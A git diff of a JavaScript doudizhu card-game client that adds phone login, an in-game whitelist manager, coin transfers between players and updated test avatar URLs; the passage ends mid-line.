diff --git a/games/games/Edit/Settings.ini b/games/games/Edit/Settings.ini index 07bb50c..078f3de 100644 --- a/games/games/Edit/Settings.ini +++ b/games/games/Edit/Settings.ini @@ -123,16 +123,16 @@ DocumentTypeKeyWordsFile1= DocumentTypeFunctionRegExp1= [MRUFiles] -MRUItem1=G:\Works\YouleGames\games\games\Projects\clinet\zpy\js\gamemain.js -MRUItem2=G:\Works\YouleGames\games\games\Projects\clinet\sangelaok\js\gamemain.js -MRUItem3=G:\Works\YouleGames\games\games\Projects\clinet\niuniu\js\gamemain.js -MRUItem4=G:\Works\YouleGames\games\games\Projects\clinet\guanpai-jx\js\gamemain.js -MRUItem5=G:\Works\YouleGames\games\games\Projects\Project1\js\gamemain.js -MRUItem6=G:\Works\YouleGames\games\games\Projects\clinet\doudizhu\js\gamemain.js -MRUItem7=G:\Works\JinXianProjects\JinXianMahjong\Projects\client\js\gamemain.js -MRUItem8=G:\Works\JinXianProjects\JinXianMahjong\Projects\Project1\js\gamemain.js -MRUItem9=G:\Works\JinXianProjects\JinXianMahjong\Projects\client\js\client_Event.js -MRUItem10=G:\Works\JinXianProjects\JinXianMahjong\Projects\client\js\01_SubGame\00_SubGame_Config.js +MRUItem1=G:\Works\YouleGames\games\games\Projects\clinet\gamehall\js\gamemain.js +MRUItem2=G:\Works\YouleGames\games\games\Projects\clinet\zpy\js\gamemain.js +MRUItem3=G:\Works\YouleGames\games\games\Projects\Project1\js\gamemain.js +MRUItem4=G:\Works\YouleGames\games\games\Projects\clinet\sangelaok\js\gamemain.js +MRUItem5=G:\Works\YouleGames\games\games\Projects\clinet\niuniu\js\gamemain.js +MRUItem6=G:\Works\YouleGames\games\games\Projects\clinet\guanpai-jx\js\gamemain.js +MRUItem7=G:\Works\YouleGames\games\games\Projects\clinet\doudizhu\js\gamemain.js +MRUItem8=G:\Works\JinXianProjects\JinXianMahjong\Projects\client\js\gamemain.js +MRUItem9=G:\Works\JinXianProjects\JinXianMahjong\Projects\Project1\js\gamemain.js +MRUItem10=G:\Works\JinXianProjects\JinXianMahjong\Projects\client\js\client_Event.js [MRUFindText] MRUItem1= diff --git a/games/games/History.txt b/games/games/History.txt index 85e2e1d..7a17c9a 100644 --- a/games/games/History.txt +++ b/games/games/History.txt @@ -1,3 +1,4 @@ +G:\Works\YouleGames\games\games\Projects\clinet\gamehall\ G:\Works\YouleGames\games\games\Projects\clinet\zpy\ G:\Works\YouleGames\games\games\Projects\clinet\sangelaok\ G:\Works\YouleGames\games\games\Projects\clinet\niuniu\ diff --git a/games/games/Projects/clinet/doudizhu/js/00_Surface/02_Const.js b/games/games/Projects/clinet/doudizhu/js/00_Surface/02_Const.js index 72dbcd6..b1d436a 100644 --- a/games/games/Projects/clinet/doudizhu/js/00_Surface/02_Const.js +++ b/games/games/Projects/clinet/doudizhu/js/00_Surface/02_Const.js @@ -78,6 +78,7 @@ RpcList.set_bankpwd = "set_bankpwd"; RpcList.binding_phone = "binding_phone"; RpcList.send_phone_checkcode = "send_phone_checkcode"; +RpcList.send_phone_code_wechat = "send_phone_code_wechat"; RpcList.get_treasurelist = "get_treasurelist"; RpcList.change_star = "change_star"; @@ -101,6 +102,11 @@ RpcList.playerBehavior = "playerBehavior"; RpcList.setVipForbidSelect = "setVipForbidSelect"; RpcList.topup_card = "topup_card"; +RpcList.query_player2 = "query_player2"; +RpcList.giveCoin = "giveCoin"; + +RpcList.getPlayerWhiteList = "getPlayerWhiteList"; +RpcList.optWhiteList = "optWhiteList"; var h5RpcList={} h5RpcList.joinRoom = "joinRoom"; @@ -112,7 +118,7 @@ var ClickBtn = [3,5,7,13,14,15,10,11,12,25,17,9,47,51,53,55,58,59,76,60,61,74,75 602,626,604,656,661,662,663,664,665,666,667,668,669,670,671,3000,3004,3007,3008,3009,3010,3011,3014,3016,3017,3018,3019, 3034,3035,3044,3045,3046,3047,3048,3049,3050,3051,3052,3053,3054,3055,3057,3043,3038,3039,3067,3068,3087,3088,3089,3096,3075,3076,3097,3111,3120,92,93,97, 99,104,105,106,107,3133,3139,3140,3144,3145,3149,3155,3159,679,3182,3184,3175,3194,3195,3199,3214,3215,3205,3206,3210, - 3203,3216,3217,3222,3231,3232,3233,3235,3240,3251,3253,3243,3244,3245,3255,3256,3258,3260,3264,3265,3266]; + 3203,3216,3217,3222,3231,3232,3233,3235,3240,3251,3253,3243,3244,3245,3255,3256,3258,3260,3264,3265,3266,3268,3269,3289,3281,3276,3274]; var C_PageOne = { Tag:1, X:1100, @@ -127,7 +133,7 @@ var C_PageTwo = { }; var UnClickBtn = [8,50,225,227,228,229,699,161,162,164,165,370,426,427,428,429,430,431,432,433,434,435,446,447,448,449,450,451,452,453,454,455,468,469,470,471,472,473,474,475,476,477,498,499,500,501, 502,503,504,505,506,507,81,573,574,575,629,630,631,632,633,3056,3040,3058,3041,3061,3062,3071,3072,3069,3070,3090,3091,3092,3093,3094,3095,3098,3104,3108,3115,3116,3118,3119, -102,336,337,338,155,154,156,110,111,3127,3128,3141,3142,3146,3147,3151,3157,3099,3197,3212,3237,3246,3247,3248,3249,3250 +102,336,337,338,155,154,156,110,111,3127,3128,3141,3142,3146,3147,3151,3157,3099,3197,3212,3237,3246,3247,3248,3249,3250,3291,3280,3288,3283,3279,3292 ]; var exceptSrc = [115,5,253,338,339,340,21,361,362,363,364,365,366,367,368,369,370,371,372,396]; var ConstVal=ConstVal||{}; @@ -778,14 +784,39 @@ ConstVal.vipRank = { rank_w:25, +}; +ConstVal.whiteList = { + f_spid:3272, + bg_spid:3277, + id_spid:3279, + del_spid:3278, + charm_spid:3292, + + bg_tag:1, + id_tag:10000, + del_tag:20000, + charm_tag:30000, + + clip_x:0, + clip_y:0, + clip_w:0, + clip_h:0, + + id_x:25, + del_x:450, + charm_x:200, + + id_y:12, + del_y:4, + charm_y:12, - + + space:8, + + + }; - - - - diff --git a/games/games/Projects/clinet/doudizhu/js/00_Surface/04_Data.js b/games/games/Projects/clinet/doudizhu/js/00_Surface/04_Data.js index 8cdf64b..8321e70 100644 --- a/games/games/Projects/clinet/doudizhu/js/00_Surface/04_Data.js +++ b/games/games/Projects/clinet/doudizhu/js/00_Surface/04_Data.js @@ -416,7 +416,7 @@ GameData.createMyRoomListLength = 0; GameData.starCount = 0; GameData.roomCardCount=0; -GameData.loginPlayerid = true;//登录是否带上playerid +GameData.loginPlayerid = false;//登录是否带上playerid GameData.matchId = null; @@ -436,7 +436,7 @@ GameData.addressBook = null; //GameData.sysConfigName=[]; GameData.sysConfigName=["hideEscape","charmName","hideTaskBtn","miniPro","videoConfig","ofcShortCode","ofcTips","ofcWx","ofcImg", "managerUrl","rebateConfig","gameNoticeShow","hallNoticeShow","ofcAutoEnter","vipFlushTime","vipWx","h5PayUrl","appShareH5", -"vipRankLimit","behaviorList","deviceLogin","hideWxShare","hideRoomCard","hideSpid","cdKey"]; +"vipRankLimit","behaviorList","deviceLogin","hideWxShare","hideRoomCard","hideSpid","cdKey","otherShare","avatarRange","avatarUrl","whiteListManager","nnLocal"]; GameData.sysConfig={ hideEscape:0, charmName:"魅力", @@ -461,7 +461,12 @@ GameData.sysConfig={ hideRoomCard:1,//隐藏主界面房卡 1 不隐藏 2隐藏 hideSpid:null,//隐藏的精灵id cdKey:1,//是否显示CDKEY 1不显示 2显示 - + otherShare:1,//开启新分享 1 关闭2开启 + avatarRange:[100,10000],//设备登录的头像列表 + avatarUrl:"https://projectimage.tscce.cn/image_132/", + whiteListManager:2, //是否开启在游戏中管理白名单 + nnLocal:2,// + }; GameData.inputCallBack2 = null; @@ -553,3 +558,25 @@ GameData.feedMode = 0; GameData.fromMiniProData = {}; +GameData.shareFriendInfo = {}; + + +GameData.deviceAvatarList = []; + +GameData.whiteList = { + data:[], + length:0, + breakRoom:false, + selectTag:0, + slide:false, + inputId:"", + inputCharm:"", + searchId:"", + idWidth:12, + delPid:"", +} + + + + + diff --git a/games/games/Projects/clinet/doudizhu/js/00_Surface/05_Func.js b/games/games/Projects/clinet/doudizhu/js/00_Surface/05_Func.js index e071aac..187247c 100644 --- a/games/games/Projects/clinet/doudizhu/js/00_Surface/05_Func.js +++ b/games/games/Projects/clinet/doudizhu/js/00_Surface/05_Func.js @@ -1282,7 +1282,7 @@ Func.deviceLogin = function(phone,sms){ //设备登录 GameData.isVisitor = false; GameData.isDeviceLogin = true; - var WxInfo = Utl.ReadData(Utl.Config.devicePlayer); + var WxInfo = Utl.getCookie(Utl.Config.devicePlayer); if(WxInfo){ WxInfo = JSON.parse(WxInfo); sharelogin(WxInfo.openid,WxInfo.headimgurl,WxInfo.nickname,WxInfo.sex,WxInfo.city,WxInfo.Province,WxInfo.unionid,phone,sms); @@ -1318,6 +1318,32 @@ Func.deviceLogin = function(phone,sms){ } +} +Func.phoneLogin = function(phone,sms){ + //手机登录 + GameData.isVisitor = false; + GameData.isDeviceLogin = true; + var WxInfo = Utl.getCookie(Utl.Config.devicePlayer); + if(WxInfo){ + WxInfo = JSON.parse(WxInfo); + sharelogin(WxInfo.openid,WxInfo.headimgurl,WxInfo.nickname,WxInfo.sex,WxInfo.city,WxInfo.Province,WxInfo.unionid,phone,sms); + }else{ + var unionid = "phone_"+phone; + + + var name2 = String(hex_md5(unionid)).slice(0,6); + var avatar = ""; + if(GameData.sysConfig.avatarUrl){ + var avatar = GameData.sysConfig.avatarUrl + min_random(GameData.sysConfig.avatarRange[0], + GameData.sysConfig.avatarRange[1])+".jpg"; + } + var nickName = "User_"+name2; + sharelogin(unionid,avatar,nickName,ifast_random(2)+1, + "China","ShangHai",unionid,phone,sms); + //var ram1 = 10000+ifast_random(10000); + + } + } Func.accreditlogin=function(type){ //因为游戏打包之前调用会报错,所以要使用try{}catch{} try 里面 使用打包调用的函数 catch() 里 @@ -1337,15 +1363,21 @@ Func.accreditlogin=function(type){ }else{ var headLoginList=[ - "http://img5.imgtn.bdimg.com/it/u=110166870,238965605&fm=27&gp=0.jpg", - "http://www.qqzhi.com/uploadpic/2015-01-15/200511535.jpg", - "http://img0.imgtn.bdimg.com/it/u=2722294531,1396252661&fm=27&gp=0.jpg", - "http://p2.gexing.com/touxiang/20130201/1735/510b8c7c1e572_200x200_3.jpg?recache=20131108", - "http://www.qqzhi.com/uploadpic/2015-01-15/200512924.jpg" + "https://img2.baidu.com/it/u=1823726962,2692568839&fm=253&fmt=auto&app=138&f=JPEG?w=500&h=500", + "https://img0.baidu.com/it/u=320875415,2231067789&fm=253&fmt=auto&app=120&f=JPEG?w=500&h=500", + "https://img1.baidu.com/it/u=3407774307,2859661062&fm=253&fmt=auto&app=138&f=JPEG?w=500&h=500", + "https://img2.baidu.com/it/u=1161398577,3592656327&fm=253&fmt=auto&app=120&f=JPEG?w=500&h=500", + "https://img1.baidu.com/it/u=2061657615,4194426181&fm=253&fmt=auto&app=138&f=JPEG?w=500&h=501", + "https://img2.baidu.com/it/u=3081347414,2363887197&fm=253&fmt=auto&app=138&f=JPEG?w=500&h=500", + "https://img1.baidu.com/it/u=1364384963,3982203144&fm=253&fmt=auto&app=120&f=JPEG?w=500&h=500", + "https://img1.baidu.com/it/u=3041194995,2386060237&fm=253&fmt=auto&app=120&f=JPEG?w=500&h=500", + "https://img2.baidu.com/it/u=2904976445,2884058010&fm=253&fmt=auto&app=120&f=JPEG?w=529&h=500", + "https://img0.baidu.com/it/u=1801052125,1596537112&fm=253&fmt=auto&app=120&f=JPEG?w=529&h=500", + ]; var ram = ifast_random(100000); - //sharelogin("fff23"+ram,headLoginList[ifast_random(headLoginList.length)],"测试"+ram,ifast_random(2)+1,"nanchang","jiangxi","ylgame"+ram); - sharelogin("fff23"+ram,headLoginList[ifast_random(headLoginList.length)],"测试"+ram,ifast_random(2)+1,"nanchang","jiangxi","oLVKis6bj3_l8qspMybG60KV2GN4"); + sharelogin("fff23"+ram,headLoginList[ifast_random(headLoginList.length)],"测试"+ram,ifast_random(2)+1,"nanchang","jiangxi","ylgame"+ram); + // sharelogin("fff23"+ram,headLoginList[ifast_random(headLoginList.length)],"测试"+ram,ifast_random(2)+1,"nanchang","jiangxi","oLVKis6bj3_l8qspMybG60KV2GN4"); } } @@ -1354,7 +1386,7 @@ var sharelogin = function(openid,headimgurl,nickname,sex,city,Province,unionid,p if(!sex){ sex = 1; } -//GameUI.StartLoad(); + if(!nickname && !headimgurl){//全为空时无法登陆 GameUI.OpenTips("授权失败,请重新授权!"); }else{ @@ -1366,22 +1398,21 @@ var sharelogin = function(openid,headimgurl,nickname,sex,city,Province,unionid,p wxdata.city = city; wxdata.Province = Province; wxdata.unionid = unionid; - + if(phone){ + wxdata.telphone = phone; + C_Player.setTel(phone); + } wxdata=JSON.stringify(wxdata); - if(GameData.isVisitor){ - Utl.SaveData(Utl.Config.visitorinfo,wxdata); - } - if(GameData.isDeviceLogin){ - Utl.SaveData(Utl.Config.devicePlayer,wxdata); - } + // if(GameData.isVisitor){ + // Utl.SaveData(Utl.Config.visitorinfo,wxdata); + // } + // if(GameData.isDeviceLogin){ + // Utl.SaveData(Utl.Config.devicePlayer,wxdata); + // } if(!GameData.isVisitor && !GameData.isDeviceLogin){ Utl.setCookie(Utl.Config.wxinfo,wxdata,Utl.Config.maxtime); } - //if(GameData.isDeviceLogin){ - // Utl.SaveData(Utl.Config.devicePlayer,wxdata); - //} - - + C_Player.SetWxInfo(openid,headimgurl,nickname,sex,city,Province,unionid); var data={}; data.agentid = GameData.AgentId; @@ -1400,9 +1431,16 @@ var sharelogin = function(openid,headimgurl,nickname,sex,city,Province,unionid,p data.telphone = phone; } if(sms){ - data.smmcode = sms; + if(sms != "telphoneAuto"){ + data.smmcode = sms; + data.telphoneAuto = false; + }else{ + data.telphoneAuto = true; + } } Net.Send_login(data); + + } } @@ -2269,7 +2307,7 @@ Func.getphoneInfo = function(){// return window.settings.getphoneInfo(); }catch(e){ var data={}; - data.PhoneIMEI = "device"+ifast_random(10000); + data.PhoneIMEI = "phone_"+min_randomChar(25); getphoneinfo(data); } } @@ -2387,7 +2425,7 @@ Func.getmarketname = function(){// return window.settings.getmarketname(); }catch(e){ if(GameData.userAgent != ConstVal.userAgent.uAgent_3){ - return 1; + return 4; }else{ return app_market; } @@ -4147,5 +4185,6 @@ Func.appDownload = function(url) { + diff --git a/games/games/Projects/clinet/doudizhu/js/00_Surface/06_Player.js b/games/games/Projects/clinet/doudizhu/js/00_Surface/06_Player.js index 4c2d138..b9a20af 100644 --- a/games/games/Projects/clinet/doudizhu/js/00_Surface/06_Player.js +++ b/games/games/Projects/clinet/doudizhu/js/00_Surface/06_Player.js @@ -545,6 +545,9 @@ if(typeof(Player.prototype.returnHallData) == "undefined"){ if(typeof(Player.prototype.setTel) == "undefined"){ Player.prototype.setTel = function(val){ this.tel = val; - set_self(3256,43,2,0,0); + // set_self(3256,43,2,0,0); + // play_ani(0,3256,35,255,100,0,1000,0,0,0,0,0,1); }; } + + diff --git a/games/games/Projects/clinet/doudizhu/js/00_Surface/07_Desk.js b/games/games/Projects/clinet/doudizhu/js/00_Surface/07_Desk.js index 84e041a..670ce82 100644 --- a/games/games/Projects/clinet/doudizhu/js/00_Surface/07_Desk.js +++ b/games/games/Projects/clinet/doudizhu/js/00_Surface/07_Desk.js @@ -72,10 +72,15 @@ Desk.setInfinite = function(_value){ Desk.setRoomMode = function(_value){ Desk.roomMode = _value; } -Desk.Create=function(){//创建牌桌 +Desk.Create=function(roomtype){//创建牌桌 this.PlayerList= []; - this.PlayerList.length = Game_Config.Max.PlayerCnt; - for(var i=0;i ConstVal.whiteList.clip_y) { + var t = pos - ConstVal.whiteList.clip_y; + play_ani(1, spid_down, 19, pos, ConstVal.whiteList.clip_y, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } else if (pos < ConstVal.whiteList.clip_y + ConstVal.whiteList.clip_h - h) { + + if (ConstVal.whiteList.clip_h < s_height) { + var t = ConstVal.whiteList.clip_y + ConstVal.whiteList.clip_h - pos - h; + play_ani(1, spid_down, 19, pos, ConstVal.whiteList.clip_y + ConstVal.whiteList.clip_h - h, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } else { + var t = ConstVal.whiteList.clip_y - pos; + play_ani(1, spid_down, 19, pos, ConstVal.whiteList.clip_y, 0, t, 0, 0, 0, 1, 0, 0, 0); + + } + } + } if (spid_down == ConstVal.vipRank.f_spid) { var config = ConstVal.vipRank; var pos = get_self(spid_down, 19, 0, 0, 0); @@ -569,15 +593,20 @@ GameUI.utlmouseup = function(gameid, spid_down, downx, downy, spid_up, upx, upy, GameUI.showCal(); break; case 58: - //退出登录 - GameData.isLogin = false; - GameData.isBoard = true; - GameData.hallLogin = true; - Utl.delCookie(Utl.Config.wxinfo); - Utl.SaveData(Utl.Config.devicePlayer,"") - GameUI.JumpWxAuth(); - if (GameData.hallConfig.logoffCallback == 1) { - Func.logoffCallback(); + if(GameData.LaunchMode != ConstVal.Launch_mode.from_hall){ + //退出登录 + GameData.isLogin = false; + GameData.isBoard = true; + GameData.loginPlayerid = false; + GameData.hallLogin = true; + Utl.delCookie(Utl.Config.wxinfo); + Utl.delCookie(Utl.Config.devicePlayer); + GameUI.JumpWxAuth(); + if (GameData.hallConfig.logoffCallback == 1) { + Func.logoffCallback(); + } + }else{ + GameUI.OpenTips("请返回游戏大厅退出登录", ConstVal.Tips.time); } break; case 3: @@ -608,15 +637,7 @@ GameUI.utlmouseup = function(gameid, spid_down, downx, downy, spid_up, upx, upy, break; case 234: if (GameData.LaunchMode == ConstVal.Launch_mode.from_hall) { - //var data= {}; - //if(C_Player.roomcard>-1){ - //data.gameid = GameData.GameId; - //data.opt = "saveGameId"; - //data.from = 0; - //Func.backgameData(JSON.stringify(data)); - //}else{ - //Func.backgameData(""); - //} + backgameData(); } else { @@ -866,15 +887,9 @@ GameUI.utlmouseup = function(gameid, spid_down, downx, downy, spid_up, upx, upy, case 74: //分享微信好友 { - //var info=Game_Modify.onShare(1); - - // - //if(!GameData.sysConfig.appShareH5){ - Func.sharefinend(1, 1, Game_Config.Share.appdownload, Game_Config.Share.title, Game_Config.Share.description); - //}else{ - //Func.sharefinend(1, 1, GameData.sysConfig.appShareH5, Game_Config.Share.title, Game_Config.Share.description); - //} - + + Func.sharefinend(1, 1, Game_Config.Share.appdownload, Game_Config.Share.title, Game_Config.Share.description); + this.CloseShare(); } break; @@ -882,11 +897,7 @@ GameUI.utlmouseup = function(gameid, spid_down, downx, downy, spid_up, upx, upy, //分享微信朋友圈 { if (!GameData.hallConfig.shareType) { - //if(!GameData.sysConfig.appShareH5){ - Func.sharefinend(2, 1, Game_Config.Share.appdownload, Game_Config.Share.title + Game_Config.Share.description); - //}else{ - //Func.sharefinend(2, 1, GameData.sysConfig.appShareH5, Game_Config.Share.title + Game_Config.Share.description); - //} + } else { console.log(GameData.hallConfig.shareImgUrl); Func.sharefinend(2, 3, GameData.hallConfig.shareImgUrl); @@ -1053,21 +1064,13 @@ GameUI.utlmouseup = function(gameid, spid_down, downx, downy, spid_up, upx, upy, case 182: //邀请好友 case 183: - //var info=Game_Modify.onShare(3); - //if(info[0]=="" && info[1] == ""){ - //Func.sharefinend(1,1,Game_Config.Share.appdownload,Game_Config.Share.title,Game_Modify.roomDes); - //}else{ - //var vText = ""; - //if(Desk.videoConfig){ - //vText = "*【视频房】"; - //} + if(!GameData.sysConfig.appShareH5){ Func.sharefinend(1, 1, Game_Config.Share.appdownload, Game_Config.Share.title + Desk.videoDes + Game_Config.Share.gameTitle + GameData.shareMsg, Game_Config.Share.gameDescription); }else{ Func.sharefinend(1, 1, GameData.sysConfig.appShareH5, Game_Config.Share.title + Desk.videoDes + Game_Config.Share.gameTitle + GameData.shareMsg, Game_Config.Share.gameDescription); } - //Func.sharefinend(1, 1, Game_Config.Share.appdownload, Game_Config.Share.title + Desk.videoDes + Game_Config.Share.gameTitle + GameData.shareMsg, Game_Config.Share.gameDescription); - //} + break; case 151: @@ -1270,6 +1273,30 @@ GameUI.utlmouseup = function(gameid, spid_down, downx, downy, spid_up, upx, upy, data.value = GameData.allCharm; Net.Send_setAllCharm(data); break; + //删除白名单玩家 + case 8: + this.closeCheck(); + var data={}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + data.shortcode = C_Player.shortcode; + data.mode = 2; + data.userid = GameData.whiteList.delPid; + Net.Send_optWhiteList(data); + break; + case 9: + this.closeCheck(); + var data={}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.shortcode = C_Player.shortcode; + data.gameid = GameData.GameId; + data.mode = 1; + data.userid = GameData.whiteList.delPid; + data.value = GameData.whiteList.inputCharm; + Net.Send_optWhiteList(data); + break; } break; @@ -1421,10 +1448,10 @@ GameUI.utlmouseup = function(gameid, spid_down, downx, downy, spid_up, upx, upy, GameUI.closeAuth(); GameUI.OpenTips("认证成功!", ConstVal.Tips.time); } else { - GameUI.OpenTips("身份证信息不合法!", ConstVal.Tips.time); + GameUI.OpenTips("身份证信息不正确!", ConstVal.Tips.time); } } else { - GameUI.OpenTips("姓名不合法!", ConstVal.Tips.time); + GameUI.OpenTips("姓名不正确!", ConstVal.Tips.time); } break; case 494: @@ -1843,23 +1870,16 @@ GameUI.utlmouseup = function(gameid, spid_down, downx, downy, spid_up, upx, upy, if (GameUI.Mem.snrOption.videoConfig) { vText = "*【视频房】"; } - //if(!GameData.sysConfig.appShareH5){ - Func.sharefinend(1, 1, Game_Config.Share.appdownload, Game_Config.Share.title + vText + "微房号:" + GameData.snrRoomList.shortcode, Game_Config.Share.description); - //}else{ - //Func.sharefinend(1, 1, GameData.sysConfig.appShareH5, Game_Config.Share.title + vText + "微房号:" + GameData.snrRoomList.shortcode, Game_Config.Share.description); - //} - //Func.sharefinend(1, 1, Game_Config.Share.appdownload, Game_Config.Share.title + vText + "微房号:" + GameData.snrRoomList.shortcode, Game_Config.Share.description); + + Func.sharefinend(1, 1, Game_Config.Share.appdownload, Game_Config.Share.title + vText + "微房号:" + GameData.snrRoomList.shortcode, Game_Config.Share.description); + } break; case 653: //分享微信朋友圈 { - //var vText = ""; - //if(GameUI.Mem.snrOption.videoConfig){ - //vText = "*【视频房】"; - //} - //Func.sharefinend(2,1,Game_Config.Share.appdownload,Game_Config.Share.title+vText+"微房号:"+GameData.snrRoomList.shortcode+Game_Config.Share.description); + var isBean = 0; if (Game_Modify.getRoomMode) { isBean = Game_Modify.getRoomMode(GameData.snrRoomList.roomtype); @@ -1990,87 +2010,138 @@ GameUI.utlmouseup = function(gameid, spid_down, downx, downy, spid_up, upx, upy, GameUI.updateWareHouseCheckBox(); break; case 3096: - GameData.wareHouse.pId = 123456; - GameData.wareHouse.pImg = C_Player.avatar; - GameData.wareHouse.pNickName = "afeafefa"; - GameUI.updateWareHousePlayerInfo(); + if(String(GameData.wareHouse.pInputId).length==6){ + var data={}; + set_self(3081,1,170,0,0); + set_self(3082,7,'',0,0); + data.agentid = GameData.AgentId; + data.playerid = GameData.wareHouse.pInputId; + Net.Send_query_player2(data); + }else{ + GameUI.OpenTips("玩家ID输入不正确",ConstVal.Tips.time); + } + //GameData.wareHouse.pId = 123456; + //GameData.wareHouse.pImg = C_Player.avatar; + //GameData.wareHouse.pNickName = "afeafefa"; + //GameUI.updateWareHousePlayerInfo(); break; case 3043: - console.log(GameData.wareHouse.selectType); - switch (GameData.wareHouse.selectType) { - case 1: - case 2: - //设置初始密码 - console.log("设置初始密码"); - if (GameData.wareHouse.initPassWord1 == GameData.wareHouse.initPassWord2) { - if (GameData.wareHouse.initPassWord1 != -1 && String(GameData.wareHouse.initPassWord1).length != 0) { - - var data = {}; - data.agentid = GameData.AgentId; - data.playerid = C_Player.playerid; - data.unionid = C_Player.unionid; - data.password = String(GameData.wareHouse.initPassWord1); - console.log("输入合法"); - console.log(data); - Net.Send_set_bankpwd(data); + console.log(GameData.wareHouse); + if(GameData.wareHouse.page == 1){ + console.log(GameData.wareHouse.selectType); + switch (GameData.wareHouse.selectType) { + case 1: + case 2: + //设置初始密码 + console.log("设置初始密码"); + if (GameData.wareHouse.initPassWord1 == GameData.wareHouse.initPassWord2) { + if (GameData.wareHouse.initPassWord1 != -1 && String(GameData.wareHouse.initPassWord1).length != 0) { + + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.unionid = C_Player.unionid; + data.password = String(GameData.wareHouse.initPassWord1); + console.log("输入合法"); + console.log(data); + Net.Send_set_bankpwd(data); + } } - } - break; - case 3: - case 4: - //保险箱存取 - console.log("存取" + GameData.wareHouse.safeInputType); - console.log("数量" + GameData.wareHouse.safeInputCount); - console.log("密码" + GameData.wareHouse.safePassWord); - if (GameData.wareHouse.safeInputCount == -1 || String(GameData.wareHouse.safeInputCount).length == 0) { - GameUI.OpenTips("输入数量为空!", ConstVal.Tips.time); break; - } else { - if (GameData.wareHouse.safePassWord == -1 || String(GameData.wareHouse.safePassWord).length == 0) { - GameUI.OpenTips("密码不能为空!", ConstVal.Tips.time); + case 3: + case 4: + //保险箱存取 + console.log("存取" + GameData.wareHouse.safeInputType); + console.log("数量" + GameData.wareHouse.safeInputCount); + console.log("密码" + GameData.wareHouse.safePassWord); + if (GameData.wareHouse.safeInputCount == -1 || String(GameData.wareHouse.safeInputCount).length == 0) { + GameUI.OpenTips("输入数量为空!", ConstVal.Tips.time); + break; } else { - var data = {}; - data.agentid = GameData.AgentId; - data.playerid = C_Player.playerid; - data.mode = GameData.wareHouse.safeInputType - 1; - data.password = String(GameData.wareHouse.safePassWord); - - data.count = Number(GameData.wareHouse.safeInputCount); - - if (GameData.wareHouse.safeInputType == 1) { //存入需要扣除默认赠送的金币 - if (C_Player.bean < 0) { - data.count = 0; - GameData.wareHouse.safeInputCount = 0; - GameUI.updateWareHouseInput(); - } else { - - if (C_Player.bean < GameData.initBean) { - GameUI.OpenTips("您身上必须保留"+GameData.initBean+"金币!",ConstVal.Tips.time); + if (GameData.wareHouse.safePassWord == -1 || String(GameData.wareHouse.safePassWord).length == 0) { + GameUI.OpenTips("密码不能为空!", ConstVal.Tips.time); + } else { + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.mode = GameData.wareHouse.safeInputType - 1; + data.password = String(GameData.wareHouse.safePassWord); + + data.count = Number(GameData.wareHouse.safeInputCount); + + if (GameData.wareHouse.safeInputType == 1) { //存入需要扣除默认赠送的金币 + if (C_Player.bean < 0) { data.count = 0; GameData.wareHouse.safeInputCount = 0; GameUI.updateWareHouseInput(); } else { - if (C_Player.bean - GameData.wareHouse.safeInputCount <= GameData.initBean) { - GameUI.OpenTips("您身上必须保留"+GameData.initBean+"金币!",ConstVal.Tips.time); - data.count = C_Player.bean - GameData.initBean; - GameData.wareHouse.safeInputCount = C_Player.bean - GameData.initBean; + + if (C_Player.bean < GameData.initBean) { + GameUI.OpenTips("您身上必须保留"+GameData.initBean+GameData.starName+"!",ConstVal.Tips.time); + data.count = 0; + GameData.wareHouse.safeInputCount = 0; GameUI.updateWareHouseInput(); + } else { + if (C_Player.bean - GameData.wareHouse.safeInputCount <= GameData.initBean) { + GameUI.OpenTips("您身上必须保留"+GameData.initBean+GameData.starName+"!",ConstVal.Tips.time); + data.count = C_Player.bean - GameData.initBean; + GameData.wareHouse.safeInputCount = C_Player.bean - GameData.initBean; + GameUI.updateWareHouseInput(); + } } } + + } - - + //console.log(data); + Net.Send_change_star(data); } - //console.log(data); - Net.Send_change_star(data); + } - + + + + break; } - - - - break; - } + }else{ + + switch (GameData.wareHouse.selectType) { + case 1: + case 2: + //设置初始密码 + console.log("设置初始密码"); + if (GameData.wareHouse.initPassWord1 == GameData.wareHouse.initPassWord2) { + if (GameData.wareHouse.initPassWord1 != -1 && String(GameData.wareHouse.initPassWord1).length != 0) { + + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.unionid = C_Player.unionid; + data.password = String(GameData.wareHouse.initPassWord1); + console.log("输入合法"); + console.log(data); + Net.Send_set_bankpwd(data); + } + } + break; + default: + if(String(GameData.wareHouse.pInputId).length != 6){ + GameUI.OpenTips("玩家ID为6位!",ConstVal.Tips.time); + }else{ + var data={}; + data.agentid = GameData.AgentId; + data.count = GameData.wareHouse.pInputCount; + data.playerid = C_Player.playerid; + data.password = GameData.wareHouse.pInputPassWord; + data.toPlayerid = GameData.wareHouse.pInputId; + data.gameid = GameData.GameId; + Net.Send_giveCoin(data); + } + break; + } + } + + break; case 3097: Utl.openInputPanel("输入范围为 " + GameUI.Mem.snrOption.min + "~" + GameUI.Mem.snrOption.max, snrInputCallback); @@ -2234,12 +2305,22 @@ GameUI.utlmouseup = function(gameid, spid_down, downx, downy, spid_up, upx, upy, break; case 3140: case 3235: - if (GameData.sysConfig.managerUrl) { - //Func.OpenurlTitleData(GameData.sysConfig.managerUrl+"?agentid="+GameData.AgentId+"&channelid=" - //+GameData.ChannelId+"&__HTML_VERSION__=3", - //"管理后台",""); - Func.browser(GameData.sysConfig.managerUrl + "?agentid=" + GameData.AgentId + "&channelid=" + GameData.ChannelId + "&playerid=" + C_Player.playerid + "&openid=" + C_Player.openid + "&unionid=" + C_Player.unionid); + //改成游戏内管理好友 + if (GameData.sysConfig.whiteListManager == 1) { + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + Net.Send_getPlayerWhiteList(data); + }else{ + if (GameData.sysConfig.managerUrl) { + Func.OpenurlTitleData(GameData.sysConfig.managerUrl+"?agentid="+GameData.AgentId+"&channelid=" + +GameData.ChannelId+"&__HTML_VERSION__=3", + "管理后台",""); + Func.browser(GameData.sysConfig.managerUrl + "?agentid=" + GameData.AgentId + "&channelid=" + GameData.ChannelId + "&playerid=" + C_Player.playerid + "&openid=" + 